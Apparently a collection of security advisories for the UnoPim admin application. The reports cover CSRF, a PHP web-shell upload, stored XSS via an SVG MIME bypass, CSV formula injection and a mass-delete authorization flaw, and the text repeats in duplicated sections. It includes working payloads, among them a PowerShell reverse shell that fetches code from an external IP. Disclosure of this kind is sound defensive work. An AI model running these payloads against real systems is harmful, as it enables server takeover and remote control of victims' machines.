      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;keywords&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;description&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;price&#93;&#91;USD&#93;" value="7&#46;777" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;cost&#93;&#91;USD&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="false" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.

Remediation:

• Use CSRF token for every state changing request.
• Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing is considered as svg and is sanitized:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

Sanitization bypass using MIME type manipulation:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

PoC

Upload POC.html as image. File content:

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup.

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html:

<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers
const headers = {
    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
    'X-Requested-With': 'XMLHttpRequest',
    'Accept': 'application/json, text/plain, */*',
    'Origin': 'http://localhost:8000',
    'Referer': 'http://localhost:8000/admin/catalog/products',
    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};

// Send the POST request
fetch(url, {
    method: 'POST',
    headers: headers,
    body: formData,
    credentials: 'include' // Include cookies in the request
})
.then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok ' + response.statusText);
    }
    return response.json(); // Assuming the response is JSON
})
.then(data => {
    console.log('Success:', data);
})
.catch(error => {
    console.error('Error:', error);
});
</script>
<html>

// make sure to update the cookies and CSRF tokens in the script to the attacker's.

Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). | Method | Endpoint | Status | Reason | |:------:|:------:|:------:|:------:| | POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used | | GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |

The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:

/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}

Details

CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim. In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.

PoC

1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC  ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.

POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ

csrf-poc.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="sku" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="channel" value="default" />
      <input type="hidden" name="locale" value="en&#95;US" />
      <input type="hidden" name="values&#91;common&#93;&#91;sku&#93;" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;sku&#93;" value="values&#91;common&#93;&#91;sku&#93;" />
      <input type="hidden" name="values&#91;common&#93;&#91;product&#95;number&#93;" value="" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;product&#95;number&#93;" value="values&#91;common&#93;&#91;product&#95;number&#93;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;name&#93;" value="test" />
      <input type="hidden" name="values&#91;common&#93;&#91;url&#95;key&#93;" value="fffkk" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;url&#95;key&#93;" value="values&#91;common&#93;&#91;url&#95;key&#93;" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;short&#95;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;title&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;keywords&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;description&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;price&#93;&#91;USD&#93;" value="7&#46;777" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;cost&#93;&#91;USD&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="false" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.

Remediation:

• Use CSRF token for every state changing request.
• Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing is considered as svg and is sanitized:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

Sanitization bypass using MIME type manipulation:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

PoC

Upload POC.html as image. File content:

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup.

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html:

<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers
const headers = {
    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
    'X-Requested-With': 'XMLHttpRequest',
    'Accept': 'application/json, text/plain, */*',
    'Origin': 'http://localhost:8000',
    'Referer': 'http://localhost:8000/admin/catalog/products',
    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};

// Send the POST request
fetch(url, {
    method: 'POST',
    headers: headers,
    body: formData,
    credentials: 'include' // Include cookies in the request
})
.then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok ' + response.statusText);
    }
    return response.json(); // Assuming the response is JSON
})
.then(data => {
    console.log('Success:', data);
})
.catch(error => {
    console.error('Error:', error);
});
</script>
<html>

// make sure to update the cookies and CSRF tokens in the script to the attacker's.

Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). | Method | Endpoint | Status | Reason | |:------:|:------:|:------:|:------:| | POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used | | GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |

The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:

/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}

Details

CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim. In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.

PoC

1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC  ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.

POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ

csrf-poc.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="sku" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="channel" value="default" />
      <input type="hidden" name="locale" value="en&#95;US" />
      <input type="hidden" name="values&#91;common&#93;&#91;sku&#93;" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;sku&#93;" value="values&#91;common&#93;&#91;sku&#93;" />
